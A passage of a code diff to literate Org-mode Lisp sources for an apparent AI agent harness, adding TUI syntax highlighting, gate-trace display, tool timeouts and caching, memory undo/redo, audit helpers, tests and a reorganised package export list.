+       (when (>= p l) (return))
+       (let* ((ss (position #\" code :start p))
+              (sc (position #\; code :start p))
+              (sp (position #\( code :start p))
+              (next (min (or ss l) (or sc l) (or sp l))))
+         (when (> next p)
+           (push (cons (subseq code p next) nil) r)
+           (setf p next))
+         (when (>= p l) (return))
+         (cond
+          ((eql p ss)
+           (let ((e (or (position #\" code :start (1+ p)) l)))
+             (push (cons (subseq code p (min (1+ e) l)) '(:fgcolor :string)) r)
+             (setf p (min (1+ e) l))))
+          ((eql p sc)
+           (let ((e (or (position #\Newline code :start p) l)))
+             (push (cons (subseq code p e) '(:fgcolor :comment)) r)
+             (setf p e)))
+          ((eql p sp)
+           (push (cons "(" nil) r)
+           (incf p)
+           (let ((fe (loop for i from p below l for c = (char code i)
+                           while (wordp c) finally (return i))))
+             (when (> fe p)
+               (let ((fs (subseq code p fe)))
+                 (push (cons fs (list :fgcolor (if (member fs kw :test #'string=)
+                                                   :keyword :function))) r)
+                 (setf p fe)))))))))
+    (nreverse r)))
+#+END_SRC
+
+* v0.7.2 — Gate Trace
+#+BEGIN_SRC lisp :tangle ../lisp/channel-tui-view.lisp
+(in-package :passepartout)
+
+(defun gate-trace-lines (trace)
+  "Convert gate-trace plist to display lines."
+  (let ((lines nil))
+    (dolist (entry trace)
+      (let* ((gate (getf entry :gate))
+             (result (getf entry :result))
+             (reason (getf entry :reason))
+             (name (or gate "unknown"))
+             (color (case result
+                      (:passed :gate-passed)
+                      (:blocked :gate-blocked)
+                      (:approval :gate-approval)
+                      (t :dim)))
+             (prefix (case result
+                       (:passed "  \u2713 ")
+                       (:blocked "  \u2717 ")
+                       (:approval "  \u2192 ")
+                       (t "  ? ")))
+             (text (format nil "~a~a~@[~a~]~@[~a~]"
+                           prefix name
+                           (when reason (format nil ": ~a" reason))
+                           (if (eq result :approval) " (HITL required)" ""))))
+        (push (cons text (list :fgcolor color)) lines)))
+    (nreverse lines)))
+#+END_SRC
 
 * Test Suite
-#+begin_src lisp
+#+BEGIN_SRC lisp :tangle ../lisp/channel-tui-view.lisp
 (eval-when (:compile-toplevel :load-toplevel :execute)
   (ql:quickload :fiveam :silent t))
 
@@ -222,4 +413,82 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
 (test test-char-width-null
   "Contract 5: null has width 0."
   (is (= 0 (passepartout::char-width #\Nul))))
-#+end_src
+
+(test test-markdown-bold
+  "Contract 7: parse-markdown-spans detects **bold**."
+  (let ((segments (passepartout::parse-markdown-spans "hello **world**!")))
+    (is (= 3 (length segments)))))
+
+(test test-markdown-plain
+  "Contract 7: plain text returns single segment."
+  (let ((segments (passepartout::parse-markdown-spans "plain")))
+    (is (= 1 (length segments)))
+    (is (string= "plain" (caar segments)))))
+
+(test test-markdown-url
+  "Contract 7: parse-markdown-spans detects URLs."
+  (let ((segments (passepartout::parse-markdown-spans "see https://example.com for more")))
+    (is (>= (length segments) 2))
+    (is (find t segments :key (lambda (s) (getf (cdr s) :url))))))
+
+(test test-markdown-blocks
+  "Contract 8: parse-markdown-blocks detects code blocks."
+  (let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after"))
+         (segs (passepartout::parse-markdown-blocks text)))
+    (is (= 3 (length segs)))
+    (let ((code (second segs)))
+      (is (eq t (getf code :code-block)))
+      (is (string= "lisp" (getf code :lang)))
+      (is (string= "(+ 1 2)" (string-trim '(#\Space #\Newline) (getf code :content)))))))
+
+(test test-markdown-blocks-no-close
+  "Contract 8: unclosed code block returns content."
+  (let* ((text (format nil "```~%unclosed code"))
+         (segs (passepartout::parse-markdown-blocks text)))
+    (is (= 1 (length segs)))
+    (is (eq t (getf (first segs) :code-block)))))
+
+(test test-syntax-highlight
+  "Contract 9: syntax-highlight colors Lisp code."
+  (let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp")))
+    (is (>= (length segs) 3))))
+
+(test test-syntax-highlight-keyword
+  "Contract 9: syntax-highlight colors keywords."
+  (let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp")))
+    (is (>= (length segs) 2))
+    (is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
+
+(test test-syntax-highlight-function
+  "Contract 9: syntax-highlight colors function calls."
+  (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp")))
+    (is (>= (length segs) 2))
+    (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
+
+(test test-gate-trace-lines-passed
+  "Contract 9: gate-trace-lines for passed gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "path" :result :passed)))))
+    (is (= 1 (length lines)))
+    (is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
+
+(test test-gate-trace-lines-blocked
+  "Contract 9: gate-trace-lines for blocked gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "shell" :result :blocked :reason "rm")))))
+    (is (= 1 (length lines)))
+    (is (search "rm" (caar lines)))))
+
+(test test-gate-trace-lines-approval
+  "Contract 9: gate-trace-lines for approval gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "network" :result :approval)))))
+    (is (= 1 (length lines)))
+    (is (search "HITL" (caar lines)))))
+
+(test test-init-state-has-collapsed-gates
+  "Contract v0.7.2: init-state includes :collapsed-gates field."
+  (passepartout.channel-tui::init-state)
+  (let ((cg (passepartout.channel-tui::st :collapsed-gates)))
+    (is (null cg))))
+#+END_SRC

org/core-act.org

@@ -30,7 +30,13 @@ Because a skill's deterministic gate runs during Reason, but between Reason and
    ~action-dispatch~, sets ~:status :acted~, returns feedback.
 2. (act-gate signal): thin alias for ~loop-gate-act~.
 3. (action-dispatch approved signal): routes approved actions to
-   registered actuators by ~:target~ keyword.
+    registered actuators by ~:target~ keyword.
+ 4. (tui-enrich-response action context): enriches the outgoing action
+    plist with sidebar fields — ~:block-counts~, ~:context-usage~,
+    ~:modified-files~, ~:session-cost~ (v0.8.0) — plus existing
+    ~:rule-count~ and ~:foveal-id~ (v0.4.0). Each field is
+    ~fboundp~-guarded; missing skills produce nil. Called from the
+    ~:tui~ actuator lambda.
 
 * Implementation
 
@@ -87,18 +93,44 @@ Because a skill's deterministic gate runs during Reason, but between Reason and
                                         0))
                                  (setf (getf (getf action :payload) :foveal-id)
                                        (getf context :foveal-id))
+                                 ;; v0.8.0: sidebar enrichment via fboundp guards
+                                 (when (fboundp 'dispatcher-block-counts-summary)
+                                   (setf (getf (getf action :payload) :block-counts)
+                                         (dispatcher-block-counts-summary)))
+                                 (when (fboundp 'context-usage-percentage)
+                                   (setf (getf (getf action :payload) :context-usage)
+                                         (context-usage-percentage)))
+                                 (when (fboundp 'tool-modified-files-summary)
+                                   (setf (getf (getf action :payload) :modified-files)
+                                         (tool-modified-files-summary)))
+                                 (when (fboundp 'cost-session-summary)
+                                   (setf (getf (getf action :payload) :session-cost)
+                                         (cost-session-summary)))
                                  (format stream "~a" (frame-message action))
                                  (finish-output stream))))))
 #+end_src
 
-** TUI Differentiator Enrichment (v0.4.0)
+** TUI Differentiator Enrichment (v0.4.0, extended v0.8.0)
 
 The TUI actuator is the last point in the pipeline before the response leaves the daemon. It enriches the action plist with fields that power the TUI's differentiator visualizations:
 
-- ~:rule-count~ = ~(hash-table-count *hitl-pending*)~ — the number of pending HITL actions. The user watches this counter tick as they teach the agent their preferences.
-- ~:foveal-id~ = the current foveal focus from the signal context — enables the TUI's focus map status line.
-- ~:gate-trace~ — already attached by ~cognitive-verify~, flows through the action plist unchanged.
-#+end_src
+- ~:rule-count~ = ~(hash-table-count *hitl-pending*)~ — the number of pending HITL actions. The user watches this counter tick as they teach the agent their preferences. (v0.4.0)
+- ~:foveal-id~ = the current foveal focus from the signal context — enables the TUI's focus map status line. (v0.4.0)
+- ~:gate-trace~ — already attached by ~cognitive-verify~, flows through the action plist unchanged. (v0.4.0)
+
+v0.8.0 adds four sidebar fields via ~fboundp~ guards — same pattern as
+~core-reason.lisp~'s calls into token-economics, awareness, and time skills.
+Each field degrades gracefully to nil when its source skill is not loaded:
+
+- ~:block-counts~ = ~(dispatcher-block-counts-summary)~ — per-gate block tallies from ~security-dispatcher~. Powers the sidebar's Protection panel.
+- ~:context-usage~ = ~(context-usage-percentage)~ — token budget percentage from ~token-economics~. Powers the sidebar's Context gauge.
+- ~:modified-files~ = ~(tool-modified-files-summary)~ — files modified this turn from ~programming-tools~. Powers the sidebar's Files panel.
+- ~:session-cost~ = ~(cost-session-summary)~ — cumulative cost data from ~cost-tracker~. Powers the sidebar's Cost panel.
+
+The enrichment is added inside the existing ~:tui~ actuator lambda (one block
+after the ~:rule-count~ and ~:foveal-id~ enrichment). No new actuator is
+registered; no new ASDF component is added. The contract is: each field
+arrives via ~fboundp~ guard and is silently nil when unavailable.
 
 ** Action Dispatch (action-dispatch)
 
@@ -180,21 +212,92 @@ The tool's return value is packed into a ~:tool-output~ event and fed back into
          (meta (getf context :meta))
          (source (getf meta :source))
          (tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
+    ;; v0.7.2: snapshot before destructive tool execution
+    (when (and tool (not (cognitive-tool-read-only-p tool)))
+      (undo-snapshot))
     (if tool
         (handler-case
             (let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args))
-                   (result (funcall (cognitive-tool-body tool) clean-args)))
+                   (is-read-only (cognitive-tool-read-only-p tool))
+                   (cache-key (when is-read-only (tool-cache-key tool-name clean-args)))
+                   (cached (when cache-key (gethash cache-key *tool-cache*)))
+                   (raw-result (if cached
+                                   (progn (log-message "TOOL-CACHE: hit for ~a" tool-name) cached)
+                                   (let* ((res (call-with-tool-timeout tool-name
+                                                (lambda () (funcall (cognitive-tool-body tool) clean-args)))))
+                                     (when (and is-read-only cache-key)
+                                       (setf (gethash cache-key *tool-cache*) res))
+                                     res))))
+              ;; Timeout: propagate error
+              (when (and (listp raw-result) (eq (getf raw-result :status) :error))
+                (return-from action-tool-execute
+                  (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
+                        :PAYLOAD (list :SENSOR :tool-error :TOOL tool-name
+                                      :MESSAGE (getf raw-result :message)))))
               (when source
                 (action-dispatch (list :TYPE :REQUEST :TARGET source 
-                                       :PAYLOAD (list :ACTION :MESSAGE :TEXT (tool-result-format tool-name result)))
+                                       :PAYLOAD (list :ACTION :MESSAGE :TEXT (tool-result-format tool-name raw-result)))
                                 context))
               (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
-                    :PAYLOAD (list :SENSOR :tool-output :RESULT result :TOOL tool-name)))
+                    :PAYLOAD (list :SENSOR :tool-output :RESULT raw-result :TOOL tool-name)))
           (error (c)
             (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
                   :PAYLOAD (list :SENSOR :tool-error :TOOL tool-name :MESSAGE (format nil "~a" c)))))
         (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
-              :PAYLOAD (list :SENSOR :tool-error :MESSAGE (format nil "Tool '~a' not found" tool-name))))))
+               :PAYLOAD (list :SENSOR :tool-error :MESSAGE (format nil "Tool '~a' not found" tool-name))))))
+#+end_src
+
+** v0.7.2 — Tool Execution Hardening
+#+begin_src lisp
+(defvar *tool-timeouts* (make-hash-table :test 'equal)
+  "Per-tool timeout in seconds. Default 120s.")
+
+;; Defaults: shell=300s, search-files=30s, eval-form=10s
+(setf (gethash "shell" *tool-timeouts*) 300)
+(setf (gethash "search-files" *tool-timeouts*) 30)
+(setf (gethash "eval-form" *tool-timeouts*) 10)
+
+(defun tool-timeout (tool-name)
+  "Return timeout for tool-name, default 120 seconds."
+  (gethash (string-downcase (string tool-name)) *tool-timeouts* 120))
+
+(defun call-with-tool-timeout (tool-name fn)
+  "Execute FN within the timeout for TOOL-NAME.
+On timeout, returns (:status :error :message ...)."
+  (let ((timeout (tool-timeout tool-name)))
+    (handler-case
+        (sb-ext:with-timeout timeout
+          (funcall fn))
+      (sb-ext:timeout (c)
+        (declare (ignore c))
+        (list :status :error :message
+              (format nil "Timed out after ~a second~:p" timeout))))))
+
+(defun verify-write (filepath expected-content)
+  "Verify that FILEPATH contains EXPECTED-CONTENT after write.
+Returns T on match, logs and returns NIL on mismatch or read error."
+  (handler-case
+      (let ((actual (uiop:read-file-string filepath)))
+        (if (string= expected-content actual)
+            t
+            (progn
+              (log-message "WRITE-VERIFY: Mismatch in ~a" filepath)
+              nil)))
+    (error (c)
+      (log-message "WRITE-VERIFY: Cannot read ~a: ~a" filepath c)
+      nil)))
+
+;; v0.7.2: read-only tool response cache
+(defvar *tool-cache* (make-hash-table :test 'equal)
+  "Cache for read-only tool results. Key: tool-name$sxhash-args. Cleared per session.")
+
+(defun tool-cache-key (tool-name args)
+  "Build a cache key from TOOL-NAME and ARGS."
+  (format nil "~a$~a" (string-downcase (string tool-name)) (sxhash args)))
+
+(defun tool-cache-clear ()
+  "Clear the read-only tool response cache."
+  (clrhash *tool-cache*))
 #+end_src
 
 ** Tool Result Formatting (tool-result-format)
@@ -358,4 +461,68 @@ Verifies that the act gate correctly processes an approved action and sets the s
   (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
                                   '(:type :EVENT :depth 0))))
     (is (numberp result) "eval should return a number")))
+
+(test test-tool-timeout-shell
+  "Contract v0.7.2: shell timeout is 300 seconds."
+  (is (= 300 (passepartout::tool-timeout "shell"))))
+
+(test test-tool-timeout-unknown
+  "Contract v0.7.2: unknown tool gets default 120s."
+  (is (= 120 (passepartout::tool-timeout "nonexistent-tool"))))
+
+(test test-verify-write-match
+  "Contract v0.7.2: verify-write returns T on match."
+  (let ((path "/tmp/passepartout-verify-test.org")
+        (content "test content"))
+    (with-open-file (f path :direction :output :if-exists :supersede)
+      (write-string content f))
+    (unwind-protect
+         (is (passepartout::verify-write path content))
+      (ignore-errors (delete-file path)))))
+
+(test test-tool-timeout-enforcement
+  "Contract v0.7.2: tool exceeding timeout returns :error with timeout message."
+  (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1)
+  (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "sleep-forever"
+                                          :read-only-p nil
+                                          :body (lambda (args)
+                                                  (declare (ignore args))
+                                                  (sleep 10)
+                                                  "done")))
+  (unwind-protect
+       (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil)))
+              (ctx '(:depth 0))
+              (result (passepartout::action-tool-execute action ctx)))
+         (is (eq :EVENT (getf result :TYPE)))
+         (let ((payload (getf result :PAYLOAD)))
+           (is (eq :tool-error (getf payload :SENSOR)))
+           (is (search "timed out" (string-downcase (getf payload :MESSAGE))))))
+    (remhash "sleep-forever" passepartout::*cognitive-tool-registry*)
+    (remhash "sleep-forever" passepartout::*tool-timeouts*)))
+
+(test test-tool-cache-read-only
+  "Contract v0.7.2: read-only tool results are cached and reused."
+  (let ((call-count 0))
+    (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*)
+          (passepartout::make-cognitive-tool :name "cache-test"
+                                            :read-only-p t
+                                            :body (lambda (args)
+                                                    (declare (ignore args))
+                                                    (incf call-count)
+                                                    (list :status :success :content (format nil "call ~d" call-count)))))
+    (unwind-protect
+         (progn
+           (clrhash passepartout::*tool-cache*)
+           (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil)))
+                  (ctx '(:depth 0))
+                  (r1 (passepartout::action-tool-execute action ctx))
+                  (r2 (passepartout::action-tool-execute action ctx)))
+             (is (= 1 call-count) "Second call should hit cache, not re-execute")
+             (let ((p1 (getf r1 :PAYLOAD))
+                   (p2 (getf r2 :PAYLOAD)))
+               (is (string= (getf (getf p1 :RESULT) :CONTENT)
+                            (getf (getf p2 :RESULT) :CONTENT))))))
+      (remhash "cache-test" passepartout::*cognitive-tool-registry*)
+      (clrhash passepartout::*tool-cache*))))
 #+end_src

org/core-memory.org

@@ -359,6 +359,76 @@ Restores memory state from a previously saved snapshot file. Called during boot
                   (log-message "MEMORY - Loaded from ~a (~a objects)" path (hash-table-size *memory-store*))))))
           (error (c) (log-message "MEMORY WARNING - Failed to load snapshot: ~a" c)))))
   t)
+
+;; v0.7.2 — Undo/Redo
+(defvar *undo-stack* nil
+  "Ring buffer of pre-operation memory snapshots. Newest first, max 20.")
+(defvar *redo-stack* nil
+  "Stack of snapshots saved during undo for redo. Max 20.")
+
+(defun undo-snapshot ()
+  "Save current memory state to the undo stack."
+  (let ((snap (list :timestamp (get-universal-time)
+                    :data (memory-hash-table-copy *memory-store*))))
+    (push snap *undo-stack*)
+    (when (> (length *undo-stack*) 20)
+      (setf *undo-stack* (subseq *undo-stack* 0 20)))))
+
+(defun undo (&optional source)
+  "Restore memory to the most recent undo snapshot. Returns T on success, NIL if stack empty."
+  (declare (ignore source))
+  (if *undo-stack*
+      (let ((snap (pop *undo-stack*)))
+        (push (list :timestamp (get-universal-time)
+                    :data (memory-hash-table-copy *memory-store*))
+              *redo-stack*)
+        (when (> (length *redo-stack*) 20)
+          (setf *redo-stack* (subseq *redo-stack* 0 20)))
+        (setf *memory-store* (memory-hash-table-copy (getf snap :data)))
+        (log-message "UNDO: Memory restored to snapshot ~a" (getf snap :timestamp))
+        t)
+      (progn (log-message "UNDO: No snapshots to undo") nil)))
+
+(defun redo (&optional source)
+  "Restore memory to the most recent redo snapshot. Returns T on success, NIL if stack empty."
+  (declare (ignore source))
+  (if *redo-stack*
+      (let ((snap (pop *redo-stack*)))
+        (push (list :timestamp (get-universal-time)
+                    :data (memory-hash-table-copy *memory-store*))
+              *undo-stack*)
+        (when (> (length *undo-stack*) 20)
+          (setf *undo-stack* (subseq *undo-stack* 0 20)))
+        (setf *memory-store* (memory-hash-table-copy (getf snap :data)))
+        (log-message "REDO: Memory restored to snapshot ~a" (getf snap :timestamp))
+        t)
+      (progn (log-message "REDO: No snapshots to redo") nil)))
+#+end_src
+
+** Merkle Audit
+#+begin_src lisp
+(defun audit-node (node-id)
+  "Return audit info for a memory object by ID."
+  (let ((obj (memory-object-get node-id)))
+    (when obj
+      (list :id node-id :type (memory-object-type obj)
+            :version (memory-object-version obj)
+            :hash (or (memory-object-hash obj) "(none)")
+            :scope (memory-object-scope obj)))))
+
+(defun audit-verify-hash ()
+  "Count memory objects and report any with missing/empty hashes.
+Returns (total . missing-hashes)."
+  (let ((total 0) (missing 0))
+    (maphash (lambda (id obj)
+               (declare (ignore id))
+               (when obj
+                 (incf total)
+                 (let ((h (memory-object-hash obj)))
+                   (when (or (null h) (string= h ""))
+                     (incf missing)))))
+             *memory-store*)
+    (cons total missing)))
 #+end_src
 
 * Test Suite
@@ -424,4 +494,75 @@ Verifies that the Merkle hash is deterministic and consistent across independent
   (rollback-memory 0)
   (is (not (null (memory-object-get "snap-a"))))
   (is (null (memory-object-get "snap-b"))))
+
+(test test-undo-snapshot-restore
+  "Contract v0.7.2: undo-snapshot captures state, undo restores."
+  (let ((orig-store passepartout::*memory-store*)
+        (orig-undo passepartout::*undo-stack*)
+        (orig-redo passepartout::*redo-stack*))
+    (unwind-protect
+         (progn
+           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
+                 passepartout::*undo-stack* nil
+                 passepartout::*redo-stack* nil)
+           (passepartout::undo-snapshot)
+           (setf (gethash "x" passepartout::*memory-store*) "hello")
+           (is (string= "hello" (gethash "x" passepartout::*memory-store*)))
+           (is (passepartout::undo))
+           (is (null (gethash "x" passepartout::*memory-store*))))
+      (setf passepartout::*memory-store* orig-store
+            passepartout::*undo-stack* orig-undo
+            passepartout::*redo-stack* orig-redo))))
+
+(test test-undo-redo-cycle
+  "Contract v0.7.2: redo restores undone state."
+  (let ((orig-store passepartout::*memory-store*)
+        (orig-undo passepartout::*undo-stack*)
+        (orig-redo passepartout::*redo-stack*))
+    (unwind-protect
+         (progn
+           (setf passepartout::*memory-store* (make-hash-table :test 'equal)
+                 passepartout::*undo-stack* nil
+                 passepartout::*redo-stack* nil)
+           (passepartout::undo-snapshot)
+           (setf (gethash "y" passepartout::*memory-store*) "world")
+           (is (passepartout::undo))
+           (is (null (gethash "y" passepartout::*memory-store*)))
+           (is (passepartout::redo))
+           (is (string= "world" (gethash "y" passepartout::*memory-store*))))
+      (setf passepartout::*memory-store* orig-store
+            passepartout::*undo-stack* orig-undo
+            passepartout::*redo-stack* orig-redo))))
+
+(test test-undo-empty-stack-nil
+  "Contract v0.7.2: undo returns nil on empty stack."
+  (let ((orig-undo passepartout::*undo-stack*))
+    (unwind-protect
+         (progn (setf passepartout::*undo-stack* nil)
+                (is (null (passepartout::undo))))
+      (setf passepartout::*undo-stack* orig-undo))))
+
+(test test-audit-node-found
+  "Contract v0.7.2: audit-node returns info for existing object."
+  (clrhash passepartout::*memory-store*)
+  (setf (gethash "audit-1" passepartout::*memory-store*)
+        (passepartout::make-memory-object :id "audit-1" :type :HEADLINE
+                                         :version 1 :hash "abc123" :scope :memex))
+  (let ((info (passepartout::audit-node "audit-1")))
+    (is (not (null info)))
+    (is (eq :HEADLINE (getf info :type)))
+    (is (string= "abc123" (getf info :hash)))))
+
+(test test-audit-node-not-found
+  "Contract v0.7.2: audit-node returns nil for nonexistent id."
+  (is (null (passepartout::audit-node "nonexistent-xxxx"))))
+
+(test test-audit-verify-hash
+  "Contract v0.7.2: audit-verify-hash returns (total . missing)."
+  (clrhash passepartout::*memory-store*)
+  (setf (gethash "a" passepartout::*memory-store*)
+        (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc"))
+  (let ((result (passepartout::audit-verify-hash)))
+    (is (= 1 (car result)))
+    (is (= 0 (cdr result)))))
 #+end_src

org/core-package.org

@@ -11,7 +11,7 @@
 The export list is the contract between the harness and all skills. Every function exported here is accessible to every skill via ~use-package~. Adding a symbol here is an API commitment; removing one is a breaking change.
 
 The implementation section includes:
-- ~plist-get~ — robust plist accessor used everywhere in the pipeline
+- ~proto-get~ — robust plist accessor used everywhere in the pipeline
 - Logging state (~*log-buffer*~, ~*log-lock*~) — bounded ring buffer for LLM context
 - Skill registry (~*skill-registry*~, ~defskill~) — all loaded skills live here
 - Cognitive tool registry (~*cognitive-tool-registry*~, ~def-cognitive-tool~, ~cognitive-tool-prompt~)
@@ -21,29 +21,47 @@ The implementation section includes:
 * Implementation
 
 ** Package Definition and Export List
-The package definition. All public symbols are exported here.
+The export list is organized by source module so a contributor can find
+where to add new exports:
+
 #+begin_src lisp
 (defpackage :passepartout
   (:use :cl)
   (:export
+   ;; ── Core: Transport & Protocol ──
    #:frame-message
    #:read-framed-message
-    #:PROTO-GET
-    #:proto-get
-   #:*VAULT-MEMORY*
+   #:PROTO-GET
+   #:proto-get
    #:make-hello-message
    #:validate-communication-protocol-schema
    #:start-daemon
-   #:log-message
+   #:register-actuator
+   #:actuator-initialize
+   #:action-dispatch
+
+   ;; ── Core: Pipeline ──
    #:main
-    #:diagnostics-run-all
-    #:diagnostics-main
-    #:diagnostics-dependencies-check
-    #:diagnostics-env-check
-    #:register-provider
-    #:provider-openai-request
-    #:provider-config
-   #:run-setup-wizard
+   #:log-message
+   #:*log-buffer*
+   #:*log-lock*
+   #:process-signal
+   #:loop-process
+   #:perceive-gate
+   #:loop-gate-perceive
+   #:act-gate
+   #:loop-gate-act
+   #:reason-gate
+   #:loop-gate-reason
+   #:cognitive-verify
+   #:backend-cascade-call
+   #:json-alist-to-plist
+   #:stimulus-inject
+   #:register-probabilistic-backend
+   #:*probabilistic-backends*
+   #:*provider-cascade*
+
+   ;; ── Core: Memory ──
    #:ingest-ast
    #:memory-object-get
    #:*memory-store*
@@ -60,12 +78,20 @@ The package definition. All public symbols are exported here.
    #:memory-object-content
    #:memory-object-hash
    #:memory-object-scope
+   #:memory-objects-by-attribute
    #:snapshot-memory
    #:rollback-memory
-    #:context-get-system-logs
-    #:context-assemble-global-awareness
-    #:context-awareness-assemble
-    #:context-query
+   #:undo-snapshot
+   #:undo
+   #:redo
+   #:*undo-stack*
+   #:*redo-stack*
+
+   ;; ── Core: Context & Awareness ──
+   #:context-get-system-logs
+   #:context-assemble-global-awareness
+   #:context-awareness-assemble
+   #:context-query
    #:push-context
    #:pop-context
    #:current-context
@@ -77,149 +103,158 @@ The package definition. All public symbols are exported here.
    #:focus-session
    #:focus-memex
    #:unfocus
-   #:process-signal
-   #:loop-process
-    #:perceive-gate
-    #:loop-gate-perceive
-    #:act-gate
-    #:loop-gate-act
-    #:reason-gate
-    #:loop-gate-reason
-    #:cognitive-verify
-    #:backend-cascade-call
-    #:json-alist-to-plist
-    #:json-alist-to-plist
-    #:inject-stimulus
-    #:stimulus-inject
-    #:hitl-create
-    #:hitl-approve
-    #:hitl-deny
-    #:hitl-handle-message
-    #:dispatcher-check-secret-path
-    #:dispatcher-check-shell-safety
-    #:dispatcher-check-privacy-tags
-    #:dispatcher-check-network-exfil
-    #:dispatcher-gate
-    #:wildcard-match
-    #:actuator-initialize
-   #:action-dispatch
-   #:register-actuator
-   #:load-skill-from-org
-    #:skill-initialize-all
-    #:lisp-syntax-validate
-    #:defskill
-       #:*skill-registry*
-       #:*scope-resolver*
-       #:*embedding-backend*
-       #:*embedding-queue*
-       #:*embedding-provider*
-       #:embed-queue-object
-       #:embed-object
-       #:embed-all-pending
-       #:embedding-backend-hashing
-       #:embedding-backend-native
-       #:embedding-native-load-model
-       #:embedding-native-unload
-       #:embedding-native-ensure-loaded
-       #:embedding-native-get-dim
-       #:embeddings-compute
-       #:mark-vector-stale
-     #:skill
+   #:*scope-resolver*
+
+   ;; ── Core: Skills Engine ──
+   #:skill
    #:skill-name
    #:skill-priority
    #:skill-dependencies
    #:skill-trigger-fn
    #:skill-probabilistic-prompt
    #:skill-deterministic-fn
+   #:defskill
+   #:*skill-registry*
+   #:skill-initialize-all
+   #:load-skill-from-org
+   #:lisp-syntax-validate
+
+   ;; ── Core: Cognitive Tools ──
    #:def-cognitive-tool
    #:*cognitive-tool-registry*
-    #:org-read-file
-    #:org-write-file
-    #:org-headline-add
-    #:org-headline-find-by-id
-    #:literate-tangle-sync-check
-    #:archivist-create-note
-    #:gateway-start
-    #:org-property-set
-    #:org-todo-set
-    #:org-id-generate
-    #:org-id-format
-    #:org-modify
-    #:lisp-validate
-    #:lisp-structural-check
-    #:lisp-syntactic-check
-    #:lisp-semantic-check
-    #:lisp-eval
-    #:lisp-format
-    #:lisp-list-definitions
-    #:lisp-extract
-    #:lisp-inject
-    #:lisp-slurp
-   #:get-oc-config-dir
-    #:get-tool-permission
-    #:set-tool-permission
-    #:check-tool-permission-gate
-    #:permission-get
-    #:permission-set
    #:cognitive-tool
    #:cognitive-tool-name
    #:cognitive-tool-description
    #:cognitive-tool-parameters
    #:cognitive-tool-guard
    #:cognitive-tool-body
-   #:register-probabilistic-backend
-   #:*probabilistic-backends*
-   #:*provider-cascade*
-    #:vault-get
-    #:vault-set
-    #:vault-get-secret
-    #:vault-set-secret
-    #:memory-objects-by-attribute
-    #:channel-cli-input
-    #:repl-eval
-    #:repl-inspect
-    #:repl-list-vars
-    #:policy-compliance-check
-    #:validator-protocol-check
-    #:archivist-extract-headlines
-    #:archivist-headline-to-filename
-    #:literate-extract-lisp-blocks
-    #:literate-block-balance-check
-    #:gateway-registry-initialize
-    #:messaging-link
-    #:messaging-unlink
-    #:gateway-configured-p
-    #:count-tokens
-    #:model-token-ratio
-    #:token-cost
-    #:provider-token-cost
-    #:cost-track-call
-    #:cost-session-total
-    #:cost-session-calls
-    #:cost-by-provider
-    #:cost-session-reset
-    #:cost-format-budget-status
-    #:cost-track-backend-call
-    #:prompt-prefix-cached
-    #:context-assemble-cached
-    #:enforce-token-budget
-    #:token-economics-initialize))
+   #:tool-read-only-p
+
+   ;; ── Security: Dispatcher ──
+   #:dispatcher-check-secret-path
+   #:dispatcher-check-shell-safety
+   #:dispatcher-check-privacy-tags
+   #:dispatcher-check-network-exfil
+   #:dispatcher-check
+   #:dispatcher-gate
+   #:wildcard-match
+
+   ;; ── Security: HITL ──
+   #:hitl-create
+   #:hitl-approve
+   #:hitl-deny
+   #:hitl-handle-message
+
+   ;; ── Security: Vault & Permissions ──
+   #:*VAULT-MEMORY*
+   #:vault-get
+   #:vault-set
+   #:vault-get-secret
+   #:vault-set-secret
+   #:get-tool-permission
+   #:set-tool-permission
+   #:check-tool-permission-gate
+   #:permission-get
+   #:permission-set
+   #:policy-compliance-check
+   #:validator-protocol-check
+
+   ;; ── Embedding ──
+   #:*embedding-backend*
+   #:*embedding-queue*
+   #:*embedding-provider*
+   #:embed-queue-object
+   #:embed-object
+   #:embed-all-pending
+   #:embedding-backend-hashing
+   #:embedding-backend-native
+   #:embedding-native-load-model
+   #:embedding-native-unload
+   #:embedding-native-ensure-loaded
+   #:embedding-native-get-dim
+   #:embeddings-compute
+   #:mark-vector-stale
+
+   ;; ── Channels ──
+   #:channel-cli-input
+   #:gateway-start
+   #:gateway-registry-initialize
+   #:messaging-link
+   #:messaging-unlink
+   #:gateway-configured-p
+
+   ;; ── Programming: Lisp ──
+   #:lisp-validate
+   #:lisp-structural-check
+   #:lisp-syntactic-check
+   #:lisp-semantic-check
+   #:lisp-eval
+   #:lisp-format
+   #:lisp-list-definitions
+   #:lisp-extract
+   #:lisp-inject
+   #:lisp-slurp
+
+   ;; ── Programming: Org ──
+   #:org-read-file
+   #:org-write-file
+   #:org-headline-add
+   #:org-headline-find-by-id
+   #:org-property-set
+   #:org-todo-set
+   #:org-id-generate
+   #:org-id-format
+   #:org-modify
+
+   ;; ── Programming: Literate & REPL ──
+   #:literate-tangle-sync-check
+   #:literate-extract-lisp-blocks
+   #:literate-block-balance-check
+   #:repl-eval
+   #:repl-inspect
+   #:repl-list-vars
+
+   ;; ── Symbolic ──
+   #:archivist-create-note
